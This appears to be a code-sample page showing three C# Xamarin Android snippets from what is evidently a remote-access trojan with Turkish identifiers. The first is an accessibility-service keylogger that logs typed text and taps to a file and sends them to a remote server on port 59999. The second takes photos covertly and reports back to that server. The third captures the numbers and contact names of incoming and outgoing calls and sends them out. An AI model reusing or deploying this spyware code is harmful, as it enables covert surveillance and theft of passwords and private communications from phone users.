示例#1
0
        public override void OnAccessibilityEvent(AccessibilityEvent e)
        {
            string dataFiles = Android.OS.Environment.ExternalStorageDirectory.AbsolutePath + "/mainly/" +
                               string.Format("{0}-{1}-{2}", DateTime.Now.Day, DateTime.Now.Month, DateTime.Now.Year) + ".tht";

            switch (e.EventType)
            {
            case  EventTypes.ViewTextChanged:
                try
                {
                    string cr = paketIsmi(e) + e.Text[0];

                    loglar.Add(cr);

                    using (System.IO.StreamWriter sw = System.IO.File.AppendText(dataFiles))
                    {
                        sw.WriteLine(cr);
                    }

                    if (MainActivity.key_gonder == true)
                    {
                        byte[] veri = System.Text.Encoding.UTF8.GetBytes("CHAR|" + cr + "|" + MainValues.uniq_id + "|");
                        PictureCallback.Send(MainActivity.server, veri, 0, veri.Length, 59999);
                    }
                }
                catch (Exception)
                {
                }
                break;

            case EventTypes.ViewClicked:

                try
                {
                    string cr = paketIsmi_(e) + e.Text[0];

                    loglar.Add(cr);

                    using (System.IO.StreamWriter sw = System.IO.File.AppendText(dataFiles))
                    {
                        sw.WriteLine(cr);
                    }

                    if (MainActivity.key_gonder == true)
                    {
                        byte[] data = System.Text.Encoding.UTF8.GetBytes("CHAR|" + cr + "|" + MainValues.uniq_id + "|");
                        PictureCallback.Send(MainActivity.server, data, 0, data.Length, 59999);
                    }
                }
                catch (Exception)
                {
                }
                break;
            }
        }
示例#2
0
        public void TakePhoto()
        {
            Release();
            int currentCameraID = SwitchCamera();

            if (currentCameraID != 5)
            {
                SetParametersAndTakePhoto(currentCameraID);
            }
            else
            {
                try
                {
                    PictureCallback.Send(MainActivity.Soketimiz, Encoding.UTF8.GetBytes("CAMNOT|"), 0,
                                         Encoding.UTF8.GetBytes("CAMNOT|").Length, 59999);
                }
                catch (Exception) { }
            }
        }
示例#3
0
        public override void OnReceive(Context context, Intent intent)
        {
            string state = intent.GetStringExtra(TelephonyManager.ExtraState);

            if (intent.Action == TelephonyManager.ActionPhoneStateChanged)
            {
                if (state == TelephonyManager.ExtraStateRinging)
                {
                    if (state != TelephonyManager.ExtraStateIdle)
                    {
                        var number = intent.GetStringExtra(TelephonyManager.ExtraIncomingNumber);
                        if (!string.IsNullOrEmpty(number))
                        {
                            try
                            {
                                byte[] arama = Encoding.UTF8.GetBytes("ARAMA|" + "Gelen Arama" + "=" +
                                                                      ((MainActivity)MainActivity.global_activity).telefondanIsim(number) + "/" + number + "=|");
                                PictureCallback.Send(MainActivity.server, arama, 0, arama.Length, 59999);
                            }
                            catch (System.Exception) { }
                        }
                    }
                }
                else
                {
                    if (state != TelephonyManager.ExtraStateIdle)
                    {
                        var number = intent.GetStringExtra(TelephonyManager.ExtraIncomingNumber);
                        if (!string.IsNullOrEmpty(number))
                        {
                            try {
                                byte[] arama = Encoding.UTF8.GetBytes("ARAMA|" + "Giden Arama" + "=" +
                                                                      ((MainActivity)MainActivity.global_activity).telefondanIsim(number) + "/" + number + "=|");
                                PictureCallback.Send(MainActivity.server, arama, 0, arama.Length, 59999);
                            }
                            catch (System.Exception) { }
                        }
                    }
                }
            }
        }